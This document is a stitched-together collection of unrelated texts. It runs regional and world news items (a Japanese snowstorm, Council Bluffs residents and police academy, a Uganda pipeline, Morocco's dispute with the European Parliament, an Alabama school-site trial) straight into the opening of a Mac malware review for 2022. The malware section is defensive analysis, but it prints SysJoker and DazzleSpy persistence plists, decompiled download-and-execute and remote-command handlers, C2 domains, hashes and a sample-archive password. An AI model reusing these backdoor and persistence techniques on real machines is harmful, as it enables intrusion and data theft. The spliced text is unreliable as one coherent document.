Sixteen people reported feeling unwell and were taken to hospitals.

West Japan Railway President Hasegawa Kazuaki said, "I sincerely apologize for having forced our customers to endure severe conditions for such a long time."

The president says the company underestimated how much snow would fall and failed to activate a snow-melting system on tracks. He pledged to make improvements.

Many trucks were stuck for nearly 24 hours on an expressway that links the western prefectures of Mie and Shiga. The jam at one point stretched about 10 kilometers.

The expressway operator says the section has now been cleared.

Warmer weather is forecast across Japan toward the weekend.

But weather officials warn accumulated snow and icy roads may lead to more disruptions of public transport.

They also urge people to be careful of snow falling from roofs, and possible accidents during snow removal.

... continue reading
Born in Bellevue, Nebraska, Rod James military service took him all over the U.S. before he returned to his wife Erickas hometown of Council Bluffs in the 90s.

The couple wanted to live and work here because it is a great community to raise a family and build their business, Foresight Security Solutions. James has spent the bulk of his professional life working in law enforcement and finds it particularly rewarding when his ability to fluently speak, read and write Spanish helps bridge communication gaps to find justice for victims and their families.

James joined Iowa West Foundations Healthy Families Advisory Committee in 2021 and was recently elected to the Board of Directors. He also currently serves on the Citizen/Police Advisory Board in Council Bluffs and is a member of Concerned Citizens of Pottawattamie County.

When hes not working, he can most often be found trekking around the track at Kirn Park or logging miles on his bike on the Wabash Trace Nature Trace. He and wife Ericka look forward to traveling to visit their youngest son at the United States Air Force Academy in Colorado Springs, Colorado.

The faces of the Iowa West Foundation are being highlighted this week in Face of the Day.
The first session of the Council Bluffs Police Department Citizens Police Academy began much like any other first day of school.

The instructor passed out a syllabus, and provided an overview of the subject. He introduced himself, spoke about his background and explained what his expectations for the class were. Participants were asked to introduce themselves, and talk a little about what brought them there.

The setting, however, was quite unlike a regular school classroom. About 20 people sat around conference tables in a large, open room to the left of the buildings entrance. As they entered the room, they walked by glass cases with mementos from throughout the departments more than 150 year history, like hats and badges.

And the instructor was not dressed like a teacher youd find in a high school or university. He wore his uniform, of course, firearm nestled in its holster. On top of that, he wore a tactical vest fitted with anti-ballistic armor plates. The vest held a body camera, a radio and handset, additional magazines for the pistol, handcuffs and enough other equipment to weigh about 25 pounds.

The goal of the 12-week program is to educate residents about who the police are and what they do.

Where do we get our perception of law enforcement? CBPD Chief Tim Carmody asked at the beginning of the class.

Answers ranged from television and movies to news and social media.

In most cases its not firsthand experience, right? Carmody said. So were trusting another source to tell us whats really going on. I want you to have a full picture so that when someone talks to you about, I had this happen, or This is what I saw, or Somebody told me this, you can go, Wait a second. I went to this class. Heres what I learned. Heres who you need to talk to to get the actual information.

Carmody wants participants to come away from the academy with a better understanding of police work, and correct potential misinformation out in their communities.

We all come here with different experiences, and different backgrounds and different impressions of law enforcement, Carmody said. Im okay if you dont like law enforcement. Im okay if you dont believe we do anything. I want you just to have an open mind and have an honest discussion, because one of the things Im afraid of in this country right now, is weve lost the ability to have an honest discussion and maybe even disagree with one another, and thats the only healthy way were going to ever understand each other and have a relationship, and thats what this is all about. We need to have relationships. Thats how we make this community strong.

Following the introduction, the class was split into two groups  one led by Carmody and the other led by Sgt. Cody Woodward of the Police Area Representatives unit  and led on a tour of the still relatively new facility. Construction was completed in December 2018.

Participants were led through interview rooms and offices filled with cubicles. If one didnt know better, they might have thought they were walking through an accounting firm, with desks cluttered with paperwork and family photographs. There were a couple of hints that you were in a police station, though. Model police cars and machine guns adorned some of the shelves. Copies of Police Magazine lay on desks.

In addition to family photos, one cubicle featured photos of the officer smiling and shaking hands with former President Donald Trump and Rudy Giuliani.

Another hallway contained more glass cases filled with police paraphernalia, including an old lie detector and a collection of loaded dice. Old uniforms hung inside the case, along with photos of the men  and they were mostly men; CBPD didnt hire its first woman officer until 1970  who wore them.

After the tour, the two groups met back in the conference room, where Carmody shared a video of body camera footage from a 2016 incident on I-75 near Glendale, Ohio. A man was walking along the side of the interstate and a Glendale police officer pulled off the road ahead of the man. The video begins as the officer, Josh Hilling, starts speaking to the man. The point of view is from the body camera and Carmody asked the class to imagine themselves as the officer. He would stop and start the video a few times to ask the class, What would you do?

As the video progresses, Hilling is trying to get the man, who appears to be in a state of mental distress, to open up, tell him who he is, where hes going. The officer is calm throughout this interaction, and even offers to give the man a ride in his patrol car. Before that can happen, though, Hilling needs to pat the man down.

The man is directed toward the back of the patrol car and as Hilling begins to pat him down, the man suddenly jumps away from the officer and pulls a knife from behind his coat. Hilling backs away, putting distance between himself and the knife-wielding man, who at this point begins to shuffle toward the officer, telling Hilling to shoot him. As Hilling moves back, he fires one round and hits the man in the abdomen. The man falls to his knees.

At this point, Carmody stopped the video and asked the class some questions that are basically summed as, What happened?

How many shots were fired? Did the man have a weapon? Answers from the class varied from one to three shots, and yes, the man had a weapon, and no, he didnt have a weapon.

The time between Hilling starting the patdown and him firing his weapon is about five seconds.

The video continues. Hilling radios for backup. The man with the knife gets up and continues advancing toward the officer, saying kill me over and over. Hilling yells at the man to drop the knife and get down on the ground, all the while backing away from the man.

Carmody stops the video again and points out that the officer is backing away onto the interstate.

The body camera footage shows that traffic has stopped. Hilling puts himself between the idling cars and the man with the knife, all the while telling him to drop the knife and get down on the ground.

By this point, backup units have arrived and taken positions around the man, but keeping their distance.

The man keeps shuffling toward Hilling, toward the cars idling on the interstate, almost begging Hilling or any of the newly arrived officers to kill him. Hilling, meanwhile, is pleading with the man to drop the knife and get down.

Drop the knife, Hilling commands. Let us help you.

The man refuses to comply and makes a move toward one of the officers. Then he crumples to the ground. One of the officers had shot him with a taser.

From the moment the man whips the knife out to when he falls to the ground is about three and a half minutes.

The purpose of showing the video is to illustrate all of the split second decisions that an officer has to make, and that sometimes the snippet of body camera footage shown on the news or shared on social media doesnt show the full picture.

Of course, if the body camera footage doesnt exist, as is apparently the case of the cop city protester in Atlanta who was killed by law enforcement on Wednesday, Jan. 18, there literally is no picture, full or otherwise.

Carmody did concede that there are some bad apples, and explained how the hiring process works to weed out those who shouldnt be there in the first place.

We work hard to make sure that we dont hire them, that we cull them off through field training and other processes so they dont stay, he said. And then in the process we get rid of them when we catch them doing something thats wrong.

With that, the class ended for the night. The second class is going to go more in depth with the Southwest Iowa Narcotics Enforcement task force, or SWINE, and the departments chaplains corps.

We truly are here to serve, and thats what were trying to accomplish, and thats important to us, Carmody said. We want you to have a better idea of what that looks like.
The Iowa Western Community College Board of Trustees appointed Tom Riley of Council Bluffs to fill the remainder of the term of District 6 representative Scott Williams, which will end in 2025.

Williams stepped down effective Jan. 1 to take a job in Savannah, Georgia.

He was elected to a two-year term in 2019 to finish the unexpired term of Kathy Rieger, who resigned in order to move and was re-elected in 2021.

Riley said he was interested in serving on the board because he believes Iowa Western is an important asset to the area.

I saw Iowa Western and how it contributed to the workforce and economic development in Council Bluffs and the surrounding area, he said. What the college does for western Iowa is key to its future.

Riley is manager at Controlled Materials & Equipment Transportation in Council Bluffs and is also a master plumber. He ran for the District 20 seat in the Iowa House of Representatives last year but was defeated by Sarah Abdouch by 119 votes in the Republican primary.

While he has never held elective office, he has served on the Pottawattamie County Landlord Association and is currently executive director of the Council Bluffs Business Association.

Riley is a lifelong resident of Council Bluffs and graduated from Thomas Jefferson High School. He served in the U.S. Marine Corps from 1988 to 1994 and was deployed Saudi Arabia during Desert Shield and Desert Storm. He earned two years of college credit through online courses from the University of Phoenix and finished his bachelors degree in business administration through Buena Vista Universitys satellite center at Iowa Western Community College.

He took continuing education classes in plumbing at Iowa Western.

I hope what Ive learned here has contributed indirectly to a wide benefit to our community, he said.

Riley and his wife, Rhonda, live in District 6 in Council Bluffs.
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Uganda has issued a license for the construction of a pipeline across the country and Tanzania to transport hydrocarbons from East Africa to international markets, a project that has raised the ire of environmentalists.

The approval (of the license) is another sign to demonstrate the common commitment of the two countries to develop the EACOP project in a harmonized manner, Ugandan Information Minister Godfrey Kabbyanga told media. The license was awarded to the East African Crude Oil Pipeline Company Ltd. (EACOP) consortium, 62% owned by the French giant TotalEnergies, following the green light given on Monday by the Ugandan government.

TotalEnergies announced in February a $10 billion investment agreement with Uganda, Tanzania, and the Chinese company CNOOC, including the construction of a 1,443-kilometer pipeline (EACOP) linking the Lake Albert oilfields in western Uganda to the Tanzanian coast on the Indian Ocean.

However, the project has been opposed by activists and environmental groups who believe it threatens the regions fragile ecosystem and the people who live there.

Lake Albert, the natural border between Uganda and the Democratic Republic of the Congo, holds an estimated 6.5 billion barrels of crude oil, of which about 1.4 billion are currently considered recoverable. The first drop of Ugandan oil is expected to flow in 2025, nearly two decades after the reserves were discovered.

President Yoweri Museveni is due to attend the launch of drilling activities at the Kingfisher oil fields in Lake Albert, operated by CNOOC, this Tuesday. Museveni had described the project as a major economic source for the landlocked country, where many people live in poverty.
The United Nations has repealed rights to vote of six countries including South Sudan, Equatorial Guinea and Gabon over arrears on dues to operating budget of the global organization.

The three African countries, in addition to Dominica, Venezuela and Lebanon, have lost their rights to vote per charter of the organization. Members whose arrears equal or exceed the amount of their contributions for the preceding two full years lose their voting rights. But it also gives the General Assembly the authority to decide that the failure to pay is due to conditions beyond the control of the member, and in that case a country can continue to vote, the charter states.

The three African countries owe respectively $61,686 (Gabon), $196,130 (South Sudan) and $619,103 (Equatorial Guinea).

Gabon however will not lose its voting rights at the Security Council where it is serving a two-year term.

Venezuelas dues on the other hand amount to $76,244,991, Lebanons $1,835,303 and Dominicas $20,580.

The circular only indicated that the General Assembly decided that three African countries on the list of nations in arrears  Comoros, Sao Tome and Principe and Somalia  would be able to keep their voting rights.
Burundis President Evariste Ndayishimiye slammed corruption within the government and state administration, during the congress of his party which has been in power since 2005.

The CNDD-FDD party held the congress in the political capital of the central African country Gitega to announce the election of Cyriaque Nshimirimana as Deputy Secretary General of the party in replacement of Joseph Ntakirutimana who was elected off-late Speaker of the parliament.

President Ndayishimiye warned against corrupt leaders in the country.

Until now, certain people claim to be leaders or executives in the government but are only stealing from the state. This is a big problem in our political party because many leaders are only proud to be from the party that won the elections when they should be good role models, said President Ndayishimiye.

President Evariste Ndayishimiye in power since June has declared a warfare against corruption. In August, he fired and ordered the arrest of 40 judges accused of corruption. The defendants were handed multiple sentences in addition to fines.

Speaking at the three-day congress, Ndayishimiye called upon credible leaders to join his party. It is true that for a party to win, it must have many members across the country, but it must also find worthy and honest leaders across the country, he said.
The recent resolution of the European Parliament is part of the attacks on Morocco by those who are disturbed by the development, prosperity and strong regional and international presence of the Kingdom, said Charles Saint-Prot, director general of the Paris-based Observatory of Geopolitical Studies (OEG), created in 2004.

It is all the same mind-boggling to see the leftists and their accomplices regularly attack one of the few states in the region that is progressing and moving forward, he said in a statement to MAP news agency.

Many wonder what is the purpose of the European parliamentary assembly, said the director general of the research center on international relations, deeming that the recent resolution against Morocco gives the beginning of an answer, because it serves only to setting scores, since the resolution against the Kingdom is not binding and therefore has no legal value.

Saint-Prot recalls, in this sense, the reaction of the two Houses of the Moroccan parliament that have clarified things, during a joint parliamentary session held Monday.

The OEG director general also criticized the policy of double standards and favoritism towards Algiers.
Member of European Parliament Thierry Mariani denounced on Tuesday the biased stand adopted by the European Parliament against Morocco, a key strategic partner of the EU in Africa, while turning a blind eye to Algerias oppression of pro-democracy militants for gas supplies.

By tolerating everything from Algeria and systematically slamming Morocco, the EU and Macron are strengthening the regime in Algiers and upsetting all those who, with the Hirak militants, were demanding real change!, said the French MP in his twitter account.

Though the Algerian authorities violate human rights, continue to oppress vocal opponents and participate in the destabilization of Africa, Paris will roll out the red carpet for president Abdelmejid Tebboune during his upcoming visit to France, added the MEP.

On Monday, the Algerian regime dissolved a major human rights NGO, the Algerian League for the Defense of Human Rights (LADDH), confirming its continuous harassment and crackdown against the NGO defending human rights including the rights of migrants and workers.

During the European Parliament debates of anti-Moroccan resolution, MEP Thierry Mariani said the European left has never condemned Algeria and the EU has given up everything in exchange for gas. He also deplored that the EP resolution echoed biased reports of Amnesty International and Human Rights Watch.

In retaliatory move, the Moroccan Parliament decided to reconsider its relations with the European Parliament which passed last week a resolution criticizing alleged restrictions on press freedom in Morocco.

The Moroccan Parliament said that the European decision undermined the foundations of trust and cooperation between Rabat and Brussels. It also strongly condemned the European hostile attempts to harm Moroccos interests and image.

The Moroccan lawmakers slammed interference into the countrys judicial system, describing the EU move as unacceptable assault on Moroccos sovereignty.

Moroccos Judiciary Supreme Council decried the resolution of the European Parliament which overstepped its prerogatives and duties, while Moroccan National Press Council denounced unfair move and blackmail in a bid to secure EU economic and commercial gains.
The Chambers County Board of Education has to wait 60 days before they will know if the federal government will allow them to move forward with building a new consolidated high school in Valley.

Over four days last week, federal judge W. Keith Watkins heard arguments from both United States attorneys and attorneys for the Chambers County School District (CCSD) on the validity of the site selection process for the new high school.

Ultimately Watkins will decide whether the CCSDs decision to put the school in Valley is permissible or not.

On Friday evening, after the defense rested its case, Watkins said he would allow 60 days before making his ruling. This would give both sides time to go over court transcripts and file their briefs.

While the court proceedings were held in Montgomery Jan. 17-20, they were also live streamed to the Chambers County Courthouse in LaFayette. Multiple residents and members of the LaFayette city government were present at the courthouse to watch the case Friday.

After hearing everything, I just hope that the judge makes a very well educated decision and not cause any burden on our kids in the city of LaFayette, said LaFayette City Councilman Toney Thomas after the hearings. At the end of the day, I just would like to say that we pray that the judge makes the right decision and keep our kids in mind.

The site selection process for the new Chambers Countys consolidated high school has been a contentious topic between residents in and around LaFayette and Valley for some time. While most residents agree that a consolidated high school is needed, there has also been sharp disagreement on where the school should go.

The site selection process began in 2021. The Chambers County School Board approved the Valley location in a 4-2 vote in October 2022. The Valley location, along with a location in LaFayette were supposed to be the top two spots for the new school.

Many Chambers County residents, however, feel as if LaFayette was never given a fair chance in the decision process.

During Fridays proceedings, LaFayette City Clerk Louis Davidson was asked to take the stand via Zoom link from the Chambers County Courthouse.

Davidson had said LaFayette has 52 acres of land the new school could go on. He indicated that while the city of LaFayette had sent an offer letter to the CCSD, no one had responded back. He also indicated no one in the city had heard back from any consultants during the selection process. Davidson also said a site selection meeting had also been scheduled to be held at the same time as the LaFayette city council meeting.

Bob Meadows, the CCSD attorney, asked Davidson how the city planned to finance the land for the school. Davidson indicated that that would be up to the mayor and city council, but they would not have to finance it. If they did, they would go through a bank. The cost of the land is around $5,000 per acre.

During the Friday hearing, LaShae Herring, who sits on the Chambers County Board of Education, was also called up as a witness. Herring represents District 3, which includes LaFayette and much of rural Chambers County. Herring voted against the Valley location during the BoEs October vote.

While on the stand, Herring indicated she voted no because there wasnt as much information given to the board on the LaFayette site as for the Valley site. According to Herring, the Desegregation Advisory Committee (DAC) had also recommended the board wait before voting on a location for the school. Herring said she wanted to put off the vote but chose to vote anyway.

Meadows asked Herring why she didnt choose to abstain from the vote. She told him abstaining would be the same as voting no.

When Judge Watkins asked Herring if there was any solution that would satisfy the majority, Herring replied: Not Valley.

Plans for a new consolidated high school came out federal regulations banning racially identifiable schools.

Chambers County has had issues with racial disparity in its schools for decades. A Feb. 12, 1970, ruling in the Lee v Chambers County Board of Education case cited the school district for operating racially identifiable schools with disparities for minority students.

Another court order in 1993 called for the construction and operation of a single, consolidated high school in the school district. 29 years after that ruling, Watkins seems to be forcing the countys hand.

The attorneys, the Board, and the United States face the unenviable and impossible task of trying to please everyone, Watkins wrote in a July 5 ruling. But someone has to make a decision  or else this sixty-year-old case would last for another sixty years.

The two main high schools in Chambers County are LaFayette High and Valley High. While Valley High is a relatively integrated school, LaFayette High is a majority Black school.

Valley High has about 650 students, and Lafayette High has right at 200, Chambers County Superintendent Casey Chambley told Opelika-Auburn News last year. And so LaFayette High, out of the 200 Theres about 170-177 of those are black students. And in Valley its about 50/50 [white/black.]

The city of Valley is 54 percent white and 35 percent Black; The city of LaFayette is 26 percent white and 68 percent Black. However, the population difference between the two schools means Valley actually has more Black students than LaFayette does.

As part of the consolidation plan, Chambers County began closing and merging its middle and elementary schools last year. LaFayette High School will close and merge with Valley High School at the beginning of the next school year.

Students will move to the new consolidated school  wherever its built  once construction is completed.
The Mac Malware of 2022 

A comprehensive analysis of the year's new malware

  Want to play along? All samples covered in this post are available in our malware collection. ...just please dont infect yourself! 

 Printable

A printable (PDF) version of this report can be found here:

 Background

Goodbye 2022 and hello 2023! 

For the 7th year in a row, Ive put together a blog post that comprehensively covers all the new Mac malware that appeared during the course of the year.

While the specimens may have been reported on before (i.e. by the AV company that discovered them), this blog aims to cumulatively and comprehensively cover all the new Mac malware of 2022 - in one place yes, with samples of each malware available for download.

After reading this blog post, you should have a thorough understanding of recent threats targeting macOS. This is especially important as Macs continue to flourish, especially compared to other personal computers brands. In fact, an industry report from late 2022 showed that the year-over-year growth of all of the top 5 computer companies declined significantly except for Apple who saw a 40% increase!

This growth is especially apparent in the context of the enterprise so much that many believe Mac will become the dominant enterprise endpoint by 2030:

Apple in the Enterprise

and unsurprisingly macOS malware continues following suit, becoming ever more prevalent (and insidious).

In this blog post, we focus on new Mac malware specimens or significant new variants that appeared in 2022. Adware and/or malware from previous years, are not covered. However at the end of this blog, Ive included a section dedicated to these other threats, that includes a brief overview, and links to detailed write-ups.

For each malicious specimen covered in this post, well discuss the malwares:

Infection Vector :

How it was able to infect macOS systems.

Persistence Mechanism :

How it installed itself, to ensure it would be automatically restarted on reboot/user login.

Features & Goals :

What was the purpose of the malware? a backdoor? a cryptocurrency miner? or something more insidious

Indicators of Compromise:

What are the observable symptoms of the malware including its executable components, created files/directories, and of course (if relevant) address of network endpoints such as command and control servers.

Also, for each malware specimen, Ive added a direct download link to the malware specimen should you want to follow along with my analysis or dig into the malware more yourself. #SharingIsCaring





 Timeline

Below is a timeline highlighting the new macOS malware of 2022, covered in this post:

SysJoker 01/2022



A simple cross-platform backdoor supporting download and execute capabilities.

DazzleSpy 01/2022



A feature complete cyber-espionage implant, deployed via a Safari exploit.

CoinMiner 03/2022



A cryto-currency miner that leverages many open-source components.

Gimmick 03/2022



A multi-platform fully featured implant, leveraging cloud providers for command & control.

oRat 04/2022



Belonging to a new APT group, this macOS implant supports a myriad of features and capabilities.

CrateDepression 05/2022



Spread though "typosquatting" of a popular Rust Crate, this malware installed the open-source persistent Poseidon agent.

Pymafka 05/2022



Spread though "typosquatting" of a popular Python package, this Python-based malware installs a compiled Cobalt Strike agent.

"VPN Trojan" ("Covid") 07/2022



A persistent backdoor that downloads and executes 2 nd -stage payloads directly from memory.

CloudMensis 07/2022



Leveraging cloud providers for its command & control, this malware exfiltrates items such as documents, keystrokes, and screen shots.

rShell 08/2022



Delivered via a supply-chain attack, this backdoor affords basic, albeit sufficient capabilities to a remote attacker.

Insekt 10/2022



The Alchimist attack framework deploys cross-platform "Insekt" payloads including macOS variants.

KeySteal 11/2022



A simple keychain stealer embedded in a trojanized copy of a popular free application.

SentinelSneak 12/2022



Relying on a "typosquatting" attack, this malicious Python package targeted developers with the goal of exfiltrating sensitive data.

Before we dive in, lets briefly mention malware analysis tools.

Throughout this blog, I reference various tools used in analyzing the malware specimens.

While there are a myriad of malware analysis tools, these are some of my own tools, and other favorites, and include:

ProcessMonitor

My open-source utility that monitors process creations and terminations, providing detailed information about such events.

FileMonitor

My open-source utility that monitors file events (such as creation, modifications, and deletions) providing detailed information about such events.

DNSMonitor

My open-source utility that monitors DNS traffic providing detailed information domain name questions, answers, and more.

WhatsYourSign

My open-source utility that displays code-signing information, via the UI.

Netiquette

My open-source (light-weight) network monitor.

lldb

The de-facto commandline debugger for macOS. Installed (to /usr/bin/lldb ) as part of Xcode.

Suspicious Package A tools for inspecting macOS Installer Packages (.pkgs), which also allows you to easily extract files directly from the .pkg.

Hopper Disassembler

A reverse engineering tool (for macOS) that lets you disassemble, decompile and debug your applications or malware specimens.



You're in luck, as I've written a book on this topic:

The Art Of Mac Malware, Vol. 0x1: Analysis  Interested in general Mac malware analysis techniques?

 SysJoker

SysJoker is a simple cross-platform backdoor supporting download and execute capabilities. Download: SysJoker (password: infect3d )

SysJoker was discovered by Intezer, initially on a Linux server. However further research by Intezer researchers Avigayil, Nicole, and Ryan uncovered a macOS variant as well:

"SysJoker was first discovered during an active attack on a Linux-based web server of a leading educational institution. After further investigation, we found that SysJoker also has Mach-O and Windows PE versions." -Intezer

Just published a new research analyzing the #SysJoker backdoor.



SysJoker targets Windows, Linux and macOS.



Learn more about this new threat, its capabilities, behavior and (most importantly) how to detect it ->

https://t.co/9iOAA5SjSj@NicoleFishi19 @MhicRoibin pic.twitter.com/siBA5OMiI5  Avigayil Mechtinger (@AbbyMCH) January 11, 2022

Writeups:



Infection Vector: Unknown, possible via infected npm packages

Intezer did not disclose how the macOS variant of SysJoker spreads or infects Mac systems, though mused that, a possible attack vector for this malware is via an infected npm package. What is known is that the macOS variant is named types-config.ts to masquerade as a typescript file.

Using macOS built-in file command we can see that in reality its a universal (fat) mach-O binary, containing both Intel and arm64 builds:

% file SysJoker/types-config.ts SysJoker/types-config.ts: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] / [arm64:Mach-O 64-bit executable arm64] SysJoker/types-config.ts (for architecture x86_64): Mach-O 64-bit executable x86_64 SysJoker/types-config.ts (for architecture arm64): Mach-O 64-bit executable arm64

The arm64 build ensures the malware can run natively on Apple Silicon (M1/M2).

WhatsYourSign , my open-source utility that displays code-signing information via the UI, shows that this binary is signed, albeit via an adhoc signature:

SysJoker signed, though ad-hoc

Persistence: Launch Item

SysJoker persists as a launch agent ( com.apple.update.plist ).



Run the string utility to extracted any embedded (ASCII) strings, reveals both the launch agent path ( /Library/LaunchAgents/com.apple.update.plist ) as well an embedded launch item property list template ( com.apple.update.plist ) for persistence.

% strings - SysJoker/types-config.ts ... /Library/LaunchAgents /Library/LaunchAgents/com.apple.update.plist ... <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.apple.update</string> <key>LimitLoadToSessionType</key> <string>Aqua</string> <key>ProgramArguments</key> <array> <string> </string> </array> <key>KeepAlive</key> <dict> <key>SuccessfulExit</key> <true/> </dict> <key>RunAtLoad</key> <true/> </dict> </plist> ...

As the malware appears to be written in C++, which rather complex to statically reverse, its easier to lean on dynamic analysis tools to observe its persistence.

Via my ProcessMonitor , we can run the malware in a VM and observe many of the malwares actions, such as the fact that when initially run, it copies itself to the users Library/MacOsServices/ directory, as updateMacOs and then launches this copy:

# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { ... "arguments" : [ "cp", "./types-config.ts", "/Users/user/Library/MacOsServices/updateMacOs" ], "path" : "/bin/cp", "name" : "cp", "pid" : 1404 } ... } { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { ... "arguments" : [ "sh", "-c", "nohup '/Users/user/Library/MacOsServices/updateMacOs' >/dev/null 2>&1 &" ], "path" : "/bin/bash", "name" : "bash", "pid" : 1405 } ... }

If one has BlockBlock installed, it will detects the malware attempting to persist:

SysJoker's persistence

Allowing the malware to persist, allows us to take a peek at the property list, com.apple.update.plist it creates:

% cat ~/Library/LaunchAgents/com.apple.update.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.apple.update</string> <key>LimitLoadToSessionType</key> <string>Aqua</string> <key>ProgramArguments</key> <array> <string>/Users/user/Library/MacOsServices/updateMacOs</string> </array> <key>KeepAlive</key> <dict> <key>SuccessfulExit</key> <true/> </dict> <key>RunAtLoad</key> <true/> </dict> </plist>

No surprises here. The launch agent plist (populated from the template we saw as an embedded string) points the malwares copy: /Users/user/Library/MacOsServices/updateMacOs . And, as the RunAtLoad key is set to true , the malware will be restarted each time the user logs in.

Capabilities: Persistent Backdoor (supporting download and execute).

Debugging the malware (in an isolated VM) reveals it first performs a simple survey of its host. This survey is then sent to the malwares remote command & control server ( graphic-updater.com ) when the malware initially checks in:

(lldb) x/s $rdx 0x7fda91cafef0: "serial=user_x&name=user&os=os&anti=av&ip=ip&user_token=987217232"

While this (brief) survey information contains the name of the logged in user ( user on my analysis VM), other fields seems to be unset ( ip=ip ), or hard coded (e.g. 987217232 ).

Aside from this basic survey capability SysJoker supports a command to download and execute a binary, as well as running arbitrary commands:

The Intezer report notes that all versions (Linux, Windows, and Mac) support commands named exec and cmd :

"[the exec] command is in charge of dropping and running an executable. SysJoker will receive a URL to a zip file, a directory for the path the file should be dropped to, and a filename that the malware should use on the extracted executable. It will download this file, unzip it and execute it."



[the cmd] command is in charge of running a command and uploading its response to the C2." -Intezer

Disassembling the Mac version of SysJoker , we find the function (at 0x0000000100005f80 ) responsible for parsing the tasking from the command and control server, including the aforementioned exec and cmd commands.

First, the exec command:

1 int sub_100005f80 (...) { 2 3 rax = std :: __1 :: basic_string :: compare( & var_E0, 0x0 , 0xffffffffffffffff , "exe" , 0x3 ); 4 if (rax == 0x0 ) goto handleExec; 5 ... 6 7 handleExec: 8 9 rax = sub_100004e76( & var_60, "url" ); 10 rax = sub_100004e76( & var_60, "dir" ); 11 rax = sub_100004e76( & var_60, "name" ); 12 ... 13 14 }

In the above disassembly you can see that if malware is tasked with the exec command, it will first extract the commands parameters ( url , dir , name , etc.).

The code to then unzip the downloaded executable and execute it, appears at sub_100003995 . This function invokes:

unzip -o to unzip the executable,

to unzip the executable, chmod 0777 to change the permissions (on the now unzipped executable)

to change the permissions (on the now unzipped executable) system to execute the binary.

The function (at 0x0000000100005f80 ) is also responsible for handling the cmd command. In the following disassembly the malware first looks for the string cmd coming from the command & control server. If tasked with this command it invokes an unnamed subroutine ( sub_100004e76 ):

1 int sub_100005f80 (...) { 2 3 ... 4 5 rax = std :: basic_string :: compare( & var_E0, 0x0 , 0xffffffffffffffff , "cmd" , 0x3 ); 6 if (rax == 0x0 ) { 7 ... 8 rax = sub_100004e76( & var_60, "command" ); 9 ... 10 } 11 }

After extracting the commands parameter ( command ), it appears to invoke the popen API (via a helper function found at 0x000000010000256b ), to execute the command. As noted by Intezer, the results of the executed command will be uploaded to the command and control server.

Indicators of Compromise (IoCs):

IoCs for SysJoker include the following (credit: Intezer):

Executable Components: /Library/MacOsServices/updateMacOs :

1a9a5c797777f37463b44de2b49a7f95abca786db3977dcdac0f79da739c08ac fe99db3268e058e1204aff679e0726dc77fd45d06757a5fda9eafc6a28cfb8df d0febda3a3d2d68b0374c26784198dc4309dbe4a8978e44bb7584fd832c325f0

Files/Directories: /Library/MacOsServices /Library/LaunchAgents/com.apple.update.plist

Command and Control Servers: bookitlab.tech winaudio-tools.com graphic-updater.com github.url-mini.com office360-update.com





 DazzleSpy

A feature complete cyber-espionage implant, DazzleSpy was deployed via a Safari (0day?) exploit and targeted pro-democracy protestors. Download: DazzleSpy (password: infect3d )

Researchers Marc-Etienne M.Leveille and Anton Cherepanov of ESET discovered DazzledSpy. They published their findings and research in an excellent writeup detailed: Watering hole deploys new macOS malware, DazzleSpy, in Asia:

Writeups:

Infection Vector: Safari Exploit

Its rather uncommon to discover Mac malware that is deployed by means of a browser exploit but this is exactly how DazzleSpy was able to infect its victims, as ESET notes:

"[A] Hong Kong pro-democracy radio station website [was] compromised to serve a Safari exploit that installed cyberespionage malware on site visitors' Macs. Here we provide a breakdown of the WebKit exploit used to compromise Mac users and an analysis of the payload, which is a new malware family targeting macOS." -ESET

To infect Mac users, the attackers first compromised a legitimate website and injected an iFrame containing an exploit chain.

The ESET researchers noted the exploit chain would first check the installed version of macOS, attempting to exploit users running macOS 10.15.2 or newer. The complex exploit code was found in a file named mac.js . This would exploit what appeared to be CVE-2021-1789 . Then upon success (read: initial code execution), would exploit a privilege escalation vulnerability ( CVE-2021-30869 ) to escape the Safari sandbox and gain root. Finally the exploit chain would complete, but downloading and decrypting payload: DazzleSpy .

For more details on this rather involved exploitation chain, see either ESETs report or the Google TAG report, Analyzing a watering hole campaign using macOS exploits.





Persistence: Launch Agent

The ESET researchers noted:

"In order to persist on the compromised device, the malware adds a Property List file ... named com.apple.softwareupdate.plist to the LaunchAgents folder. The malware executable file is named softwareupdate and saved in the $HOME/.local/ folder." -ESET

In output from the strings tool (run against the DazzleSpy binary named softwareupdate ), one can see persistence-related strings such as %@/Library/LaunchAgents and com.apple.softwareupdate.plist :

% strings - DazzleSpy/softwareupdate ... %@/Library/LaunchAgents /com.apple.softwareupdate.plist launchctl unload %@ RunAtLoad KeepAlive

In a disassembler, we find cross-references to these strings in the aforementioned installDaemon method (of the class named Singleton ):

1 /* @class Singleton */ 2 + ( void )installDaemon { 3 ... 4 5 rax = NSHomeDirectory(); 6 var_78 = [NSString stringWithFormat: @ "%@/Library/LaunchAgents" , rax]; 7 var_80 = [var_78 stringByAppendingFormat: @ "/com.apple.softwareupdate.plist" ]; 8 if ([var_70 fileExistsAtPath:var_78] == 0x0 ) { 9 [var_70 createDirectoryAtPath:var_78 withIntermediateDirectories: 0x1 ...]; 10 ... 11 12 var_90 = [[NSMutableDictionary alloc] init]; 13 var_98 = [[NSMutableArray alloc] init]; 14 [var_98 addObject:var_38]; 15 [var_98 addObject: @ "1" ]; 16 rax = @ (YES); 17 [var_90 setObject:rax forKey: @ "RunAtLoad" ]; 18 rax = @ (YES); 19 [var_90 setObject:rax forKey: @ "KeepAlive" ]; 20 rax = @ (YES); 21 [var_90 setObject:rax forKey: @ "SuccessfulExit" ]; 22 [var_90 setObject: @ "com.apple.softwareupdate" forKey: @ "Label" ]; 23 [var_90 setObject:var_98 forKey: @ "ProgramArguments" ]; 24 25 [var_90 writeToFile:var_80 atomically: 0x0 ];

In the above decompilation, we first see the malware build the path to a launch agent plist ( ~/Library/LaunchAgents/com.apple.softwareupdate.plist ).

Then, it initializes a dictionary for the launch agent plist, with various key value pairs ( RunAtLoad , etc). Once initialized this dictionary is written out to the launch agent plist ( com.apple.softwareupdate.plist ).
